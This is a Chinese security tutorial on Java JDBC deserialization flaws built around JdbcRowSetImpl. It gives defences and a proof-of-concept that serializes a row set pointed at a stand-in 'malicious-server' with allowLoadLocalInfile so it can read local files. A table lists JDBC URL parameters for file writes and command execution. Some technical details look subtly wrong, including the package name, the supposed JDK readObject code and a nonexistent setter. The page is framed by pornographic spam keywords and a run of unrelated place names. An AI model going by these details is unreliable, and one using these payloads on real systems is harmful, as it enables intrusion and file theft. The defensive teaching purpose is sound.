最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Java JDBC 反序列化實(shí)戰(zhàn)案例

 更新時(shí)間:2025年11月11日 10:23:55   作者:獨(dú)角鯨網(wǎng)絡(luò)安全實(shí)驗(yàn)室  
這篇文章主要介紹了Java JDBC 反序列化實(shí)戰(zhàn)案例,本文結(jié)合實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友參考下吧

JDBC(Java Database Connectivity)是Java訪問(wèn)數(shù)據(jù)庫(kù)的標(biāo)準(zhǔn)API,其核心定位是提供數(shù)據(jù)庫(kù)連接、SQL執(zhí)行、結(jié)果集處理的內(nèi)存態(tài)操作接口——JDBC核心組件(DriverConnectionStatement、ResultSet)本身不設(shè)計(jì)序列化/反序列化能力,也不建議被持久化或跨網(wǎng)絡(luò)傳輸。

但在實(shí)際開(kāi)發(fā)中,基于JDBC的擴(kuò)展組件(如RowSet、數(shù)據(jù)源實(shí)現(xiàn))或自定義JDBC封裝類,可能因?qū)崿F(xiàn)Serializable接口、反序列化時(shí)執(zhí)行危險(xiǎn)操作(如加載惡意類、執(zhí)行SQL注入、連接惡意數(shù)據(jù)庫(kù)),導(dǎo)致反序列化漏洞。

一、核心前提:JDBC與序列化的本質(zhì)關(guān)系

1. JDBC核心組件的設(shè)計(jì)初衷

JDBC核心API(java.sql.*包)的對(duì)象(如Connection、Statement、ResultSet)是數(shù)據(jù)庫(kù)連接的運(yùn)行時(shí)句柄,依賴底層Socket連接和數(shù)據(jù)庫(kù)會(huì)話狀態(tài),設(shè)計(jì)目標(biāo)是“內(nèi)存中臨時(shí)使用”,不支持序列化(未實(shí)現(xiàn)Serializable接口)。

2. 風(fēng)險(xiǎn)來(lái)源:JDBC擴(kuò)展組件的序列化支持

漏洞并非來(lái)自JDBC標(biāo)準(zhǔn)本身,而是來(lái)自基于JDBC的擴(kuò)展組件——這些組件為了支持“數(shù)據(jù)持久化”或“跨進(jìn)程傳輸”,實(shí)現(xiàn)了Serializable接口,但在反序列化過(guò)程中執(zhí)行了危險(xiǎn)邏輯:

  • JDK自帶:javax.sql.rowset.JdbcRowSetImpl、CachedRowSetImpl、WebRowSetImpl(RowSet接口的實(shí)現(xiàn),封裝了JDBC連接邏輯);
  • 第三方數(shù)據(jù)源:Apache DBCP的BasicDataSource、C3P0的ComboPooledDataSource(序列化時(shí)存儲(chǔ)了數(shù)據(jù)庫(kù)連接配置);
  • ORM工具集成:Hibernate的PersistentBag、MyBatis的ResultMap(若封裝了JDBC相關(guān)對(duì)象并支持序列化);
  • 自定義封裝類:開(kāi)發(fā)者自定義的JDBC工具類(如SerializableDBHelper),反序列化時(shí)執(zhí)行數(shù)據(jù)庫(kù)連接或SQL執(zhí)行。

二、典型漏洞原理:以JdbcRowSetImpl為例

JdbcRowSetImpl是JDK自帶的RowSet實(shí)現(xiàn)(javax.sql.rowset包),支持序列化,其反序列化漏洞是JDBC相關(guān)反序列化風(fēng)險(xiǎn)的典型代表,影響JDK 8u121之前的版本(后續(xù)JDK通過(guò)安全修復(fù)限制了危險(xiǎn)操作)。

1. 漏洞觸發(fā)鏈路

JdbcRowSetImpl的反序列化漏洞核心是:反序列化時(shí)自動(dòng)執(zhí)行數(shù)據(jù)庫(kù)連接邏輯,且連接參數(shù)(URL、驅(qū)動(dòng)類、用戶名、密碼)可被攻擊者控制。

關(guān)鍵流程拆解:

// 1. JdbcRowSetImpl實(shí)現(xiàn)Serializable接口,允許序列化/反序列化
public class JdbcRowSetImpl implements Serializable, JdbcRowSet { ... }
// 2. 反序列化時(shí)調(diào)用readObject()方法(默認(rèn)或自定義)
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ois.defaultReadObject(); // 讀取序列化的屬性(url、user、password、driverClass等)
    internalInit(); // 初始化內(nèi)部狀態(tài)
    connect(); // 關(guān)鍵:反序列化時(shí)自動(dòng)建立數(shù)據(jù)庫(kù)連接
}
// 3. connect()方法的危險(xiǎn)邏輯
private void connect() throws SQLException {
    if (driverClass != null) {
        Class.forName(driverClass); // 加載驅(qū)動(dòng)類(若driverClass可控,可加載惡意類)
    }
    // 建立數(shù)據(jù)庫(kù)連接(若URL可控,可利用JDBC驅(qū)動(dòng)的危險(xiǎn)參數(shù)執(zhí)行命令)
    this.conn = DriverManager.getConnection(url, user, password);
}

2. 漏洞放大:JDBC驅(qū)動(dòng)的危險(xiǎn)特性

不同數(shù)據(jù)庫(kù)的JDBC驅(qū)動(dòng)支持一些“危險(xiǎn)URL參數(shù)”,若攻擊者控制JdbcRowSetImplurl屬性,可通過(guò)這些參數(shù)執(zhí)行惡意操作:

數(shù)據(jù)庫(kù)危險(xiǎn)URL參數(shù)危害
MySQLallowLoadLocalInfile=true讀取本地文件(配合SQL注入)
MySQLlogOutput=FILE&logFile=/tmp/malicious.sh寫(xiě)入惡意文件
PostgreSQLoptions=-c 'shell command'執(zhí)行系統(tǒng)命令(需數(shù)據(jù)庫(kù)權(quán)限)
惡意驅(qū)動(dòng)jdbc:malicious://...加載自定義惡意JDBC驅(qū)動(dòng),執(zhí)行任意代碼

3. 漏洞觸發(fā)條件

  • 應(yīng)用程序?qū)?strong>不可信數(shù)據(jù)(如網(wǎng)絡(luò)傳輸、文件上傳、緩存、日志)執(zhí)行反序列化;
  • 應(yīng)用依賴JDK 8u121之前的版本(未修復(fù)該漏洞);
  • 攻擊者可控制序列化數(shù)據(jù)中的JdbcRowSetImpl屬性(urldriverClass、userpassword)。

三、其他JDBC相關(guān)反序列化風(fēng)險(xiǎn)點(diǎn)

1. 第三方數(shù)據(jù)源組件

  • Apache DBCP BasicDataSource:序列化時(shí)存儲(chǔ)了url、username、password、driverClassName等配置,反序列化時(shí)若參數(shù)被篡改,可能導(dǎo)致連接惡意數(shù)據(jù)庫(kù)或泄露敏感信息;
  • C3P0 ComboPooledDataSource:同理,序列化的連接池配置可被篡改,反序列化時(shí)初始化惡意連接池。

2. ORM工具與JDBC的結(jié)合場(chǎng)景

  • Hibernate:若實(shí)體類包含Serializable的JDBC相關(guān)對(duì)象(如ResultSet封裝類),且反序列化時(shí)觸發(fā)懶加載,可能執(zhí)行惡意SQL;
  • MyBatis:若ResultMap對(duì)應(yīng)的實(shí)體類實(shí)現(xiàn)Serializable,且反序列化時(shí)觸發(fā)@PostConstruct或自定義readObject中的JDBC操作,可能被利用。

3. 自定義JDBC封裝類

開(kāi)發(fā)者常自定義Serializable的JDBC工具類(如DBUtil),若存在以下情況,可能引入漏洞:

  • readObject方法中直接執(zhí)行Class.forName(driverClass)(驅(qū)動(dòng)類可控);
  • 反序列化時(shí)自動(dòng)執(zhí)行executeQuery(sql)(SQL語(yǔ)句可控,導(dǎo)致SQL注入);
  • 序列化數(shù)據(jù)中包含數(shù)據(jù)庫(kù)密碼,未加密導(dǎo)致泄露。

四、漏洞防御方案(核心:阻斷危險(xiǎn)反序列化鏈路)

JDBC相關(guān)反序列化漏洞的防御核心是:避免序列化JDBC相關(guān)對(duì)象、限制反序列化類范圍、禁用危險(xiǎn)功能、驗(yàn)證數(shù)據(jù)來(lái)源。

1. 根本原則:禁止序列化JDBC相關(guān)對(duì)象

  • 不序列化RowSetDataSource、Connection等JDBC相關(guān)對(duì)象;
  • 若需跨進(jìn)程傳輸數(shù)據(jù)庫(kù)查詢結(jié)果,使用DTO(數(shù)據(jù)傳輸對(duì)象) 封裝純數(shù)據(jù)(如UserDTO包含id、name),而非直接序列化ResultSetRowSet;
  • 替代方案:使用JSON、XML等安全序列化格式(如Jackson、Fastjson),而非Java原生序列化。

2. 限制反序列化的類范圍(最有效)

使用反序列化過(guò)濾器,只允許信任的類進(jìn)行反序列化,禁止危險(xiǎn)類(如javax.sql.rowset.*、第三方數(shù)據(jù)源類):

  • Java 9+:使用ObjectInputFilter(JDK原生支持);
  • Java 8及以下:使用第三方庫(kù)(如Apache Commons IO的ValidatingObjectInputStream、Google Guava的SerializationFilters)。

示例:Java 9+ ObjectInputFilter配置

// 僅允許com.example包下的類和Java基礎(chǔ)類反序列化,禁止javax.sql.rowset.*
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.example.*; java.base/*; !javax.sql.rowset.*; !org.apache.commons.dbcp.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // 設(shè)置過(guò)濾器
Object obj = ois.readObject(); // 僅允許白名單類反序列化

3. 禁用JDBC驅(qū)動(dòng)的危險(xiǎn)功能

配置JDBC URL時(shí),顯式禁用危險(xiǎn)參數(shù):

  • MySQL:allowLoadLocalInfile=falselogOutput=NONE;
  • PostgreSQL:避免使用options參數(shù),或限制數(shù)據(jù)庫(kù)用戶權(quán)限(禁止執(zhí)行shell命令);
  • 禁用不必要的JDBC驅(qū)動(dòng):僅加載應(yīng)用所需的數(shù)據(jù)庫(kù)驅(qū)動(dòng),避免加載惡意驅(qū)動(dòng)(如通過(guò)DriverManager.deregisterDriver()移除無(wú)用驅(qū)動(dòng))。

4. 驗(yàn)證序列化數(shù)據(jù)的來(lái)源與完整性

  • 僅對(duì)可信來(lái)源(如內(nèi)部服務(wù)、加密存儲(chǔ))的數(shù)據(jù)進(jìn)行反序列化;
  • 對(duì)序列化數(shù)據(jù)進(jìn)行簽名或加密(如使用AES加密+RSA簽名),反序列化前驗(yàn)證簽名,防止數(shù)據(jù)被篡改。

5. 升級(jí)依賴組件

  • 升級(jí)JDK:至8u121+(修復(fù)JdbcRowSetImpl反序列化漏洞)或更高版本;
  • 升級(jí)JDBC驅(qū)動(dòng):使用官方最新版本,修復(fù)已知的URL參數(shù)注入、驅(qū)動(dòng)類加載漏洞;
  • 升級(jí)數(shù)據(jù)源/ORM框架:如Apache DBCP 2.9.0+、C3P0 0.9.5.9+、Hibernate 5.6.14.Final+。

6. 避免自定義危險(xiǎn)的readObject方法

若必須自定義Serializable類(如DTO),需滿足:

  • readObject方法中不執(zhí)行危險(xiǎn)操作(類加載、數(shù)據(jù)庫(kù)連接、SQL執(zhí)行、命令調(diào)用);
  • 對(duì)反序列化的屬性(如urldriverClass)進(jìn)行嚴(yán)格校驗(yàn)(如正則匹配合法URL格式、白名單校驗(yàn)驅(qū)動(dòng)類名)。

五、實(shí)戰(zhàn)案例:JdbcRowSetImpl漏洞POC(僅供學(xué)習(xí))

以下POC演示如何構(gòu)造惡意JdbcRowSetImpl序列化數(shù)據(jù),觸發(fā)反序列化時(shí)的惡意數(shù)據(jù)庫(kù)連接(需在JDK 8u121之前環(huán)境測(cè)試):

1. 構(gòu)造惡意序列化數(shù)據(jù)

import javax.sql.rowset.JdbcRowSetImpl;
import java.io.*;
public class JdbcRowSetPoc {
    public static void main(String[] args) throws Exception {
        // 1. 構(gòu)造惡意JdbcRowSetImpl對(duì)象(控制URL和驅(qū)動(dòng)類)
        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setUrl("jdbc:mysql://malicious-server:3306/test?allowLoadLocalInfile=true"); // 惡意URL
        rowSet.setDriverClass("com.mysql.cj.jdbc.Driver"); // 合法驅(qū)動(dòng)(或惡意驅(qū)動(dòng)類名)
        rowSet.setUsername("attacker");
        rowSet.setPassword("pass123");
        // 2. 序列化對(duì)象到字節(jié)流(攻擊者可將該字節(jié)流注入目標(biāo)應(yīng)用)
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(rowSet);
        byte[] maliciousData = bos.toByteArray();
        // 3. 目標(biāo)應(yīng)用反序列化(模擬漏洞觸發(fā))
        ByteArrayInputStream bis = new ByteArrayInputStream(maliciousData);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject(); // 反序列化時(shí)觸發(fā)connect(),連接惡意MySQL服務(wù)器
    }
}

2. 漏洞危害說(shuō)明

  • driverClass設(shè)為惡意類(如com.attacker.MaliciousDriver),且該類可被目標(biāo)應(yīng)用加載(如通過(guò)類路徑注入),則Class.forName(driverClass)會(huì)執(zhí)行惡意類的靜態(tài)代碼塊;
  • url包含MySQL的allowLoadLocalInfile=true,配合后續(xù)SQL注入,可讀取目標(biāo)服務(wù)器本地文件(如/etc/passwd);
  • 連接惡意數(shù)據(jù)庫(kù)服務(wù)器,可能泄露應(yīng)用的敏感信息(如用戶名、密碼、業(yè)務(wù)數(shù)據(jù))。

六、總結(jié):JDBC反序列化漏洞的核心認(rèn)知

  1. 漏洞根源不是JDBC本身:JDBC標(biāo)準(zhǔn)API不支持序列化,風(fēng)險(xiǎn)來(lái)自“實(shí)現(xiàn)了Serializable的JDBC擴(kuò)展組件”和“不當(dāng)?shù)男蛄谢瘜?shí)踐”;
  2. 觸發(fā)核心是“反序列化+危險(xiǎn)操作”:漏洞的關(guān)鍵是反序列化過(guò)程中自動(dòng)執(zhí)行數(shù)據(jù)庫(kù)連接、類加載等危險(xiǎn)邏輯,且輸入?yún)?shù)可控;
  3. 防御核心是“最小權(quán)限+可信數(shù)據(jù)”:限制反序列化類范圍、禁止序列化JDBC相關(guān)對(duì)象、禁用危險(xiǎn)功能、驗(yàn)證數(shù)據(jù)來(lái)源,即可阻斷絕大多數(shù)風(fēng)險(xiǎn)。

在實(shí)際開(kāi)發(fā)中,應(yīng)遵循“能不序列化則不序列化”的原則,若必須序列化,僅傳輸純數(shù)據(jù)(DTO),而非包含業(yè)務(wù)邏輯(如數(shù)據(jù)庫(kù)連接)的對(duì)象。同時(shí),通過(guò)反序列化過(guò)濾器、組件升級(jí)、參數(shù)校驗(yàn)等手段,構(gòu)建多層防御體系。

到此這篇關(guān)于Java JDBC 反序列化深度解析的文章就介紹到這了,更多相關(guān)Java JDBC 反序列化內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • reactor-logback的AsyncAppender執(zhí)行流程源碼解讀

    reactor-logback的AsyncAppender執(zhí)行流程源碼解讀

    這篇文章主要為大家介紹了reactor-logback的AsyncAppender執(zhí)行流程源碼解讀,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-12-12
  • Mybatis-Plus打印sql日志兩種方式

    Mybatis-Plus打印sql日志兩種方式

    這篇文章主要給大家介紹了關(guān)于Mybatis-Plus打印sql日志兩種方式,Mybatis-plus是MyBatis增強(qiáng)工具包,用于簡(jiǎn)化CRUD操作,文中通過(guò)示例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2023-07-07
  • Spring?Boot中使用Redis實(shí)戰(zhàn)案例

    Spring?Boot中使用Redis實(shí)戰(zhàn)案例

    redis作為一個(gè)高性能的內(nèi)存數(shù)據(jù)庫(kù),如果不會(huì)用就太落伍了,之前在 node.js中用過(guò) redis,本篇記錄如何將 redis 集成到 spring boot 中,下面這篇文章主要給大家介紹了關(guān)于Spring?Boot中使用Redis的相關(guān)資料,需要的朋友可以參考下
    2023-04-04
  • 三分鐘帶你了解SpringBoot真正的啟動(dòng)引導(dǎo)類

    三分鐘帶你了解SpringBoot真正的啟動(dòng)引導(dǎo)類

    這篇文章主要介紹了三分鐘帶你了解SpringBoot真正的啟動(dòng)引導(dǎo)類,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • Javadoc 具體使用詳解

    Javadoc 具體使用詳解

    這篇文章主要介紹了Javadoc 具體使用詳解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-08-08
  • java中獲取當(dāng)前服務(wù)器的Ip地址的方法

    java中獲取當(dāng)前服務(wù)器的Ip地址的方法

    本篇文章主要介紹了java中獲取當(dāng)前服務(wù)器的Ip地址的方法,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2017-02-02
  • 一文帶你玩轉(zhuǎn)Java異常處理

    一文帶你玩轉(zhuǎn)Java異常處理

    這篇文章主要為大家介紹一下Java中的異常處理機(jī)制,文中通過(guò)示例為大家進(jìn)行了詳細(xì)的介紹,對(duì)我們學(xué)習(xí)有一定的幫助,感興趣的可以了解一下
    2022-08-08
  • LIS 最長(zhǎng)遞增子序列 Java的簡(jiǎn)單實(shí)現(xiàn)

    LIS 最長(zhǎng)遞增子序列 Java的簡(jiǎn)單實(shí)現(xiàn)

    下面小編就為大家?guī)?lái)一篇LIS 最長(zhǎng)遞增子序列 Java的簡(jiǎn)單實(shí)現(xiàn)。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2016-09-09
  • Java 深入分析鏈表面試實(shí)例題目

    Java 深入分析鏈表面試實(shí)例題目

    鏈表是一種物理存儲(chǔ)單元上非連續(xù)、非順序的存儲(chǔ)結(jié)構(gòu),數(shù)據(jù)元素的邏輯順序是通過(guò)鏈表中的指針鏈接次序?qū)崿F(xiàn)的,本篇帶你通過(guò)兩個(gè)實(shí)例題目來(lái)深入探索
    2022-03-03
  • Spring Boot中使用Spring-Retry重試框架的實(shí)現(xiàn)

    Spring Boot中使用Spring-Retry重試框架的實(shí)現(xiàn)

    本文主要介紹了Spring Boot中使用Spring-Retry重試框架的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2022-04-04

最新評(píng)論

巴楚县| 柏乡县| 奇台县| 鹤岗市| 洪江市| 自贡市| 怀来县| 淮阳县| 枣阳市| 汶川县| 锦屏县| 麻城市| 嘉善县| 禄劝| 社会| 合作市| 合山市| 北流市| 新泰市| 门头沟区| 铜山县| 成安县| 安西县| 汶川县| 东兰县| 搜索| 资阳市| 福州市| 静安区| 临洮县| 古田县| 西吉县| 开封市| 昭苏县| 桐乡市| 罗甸县| 漠河县| 保靖县| 安塞县| 左权县| 班玛县|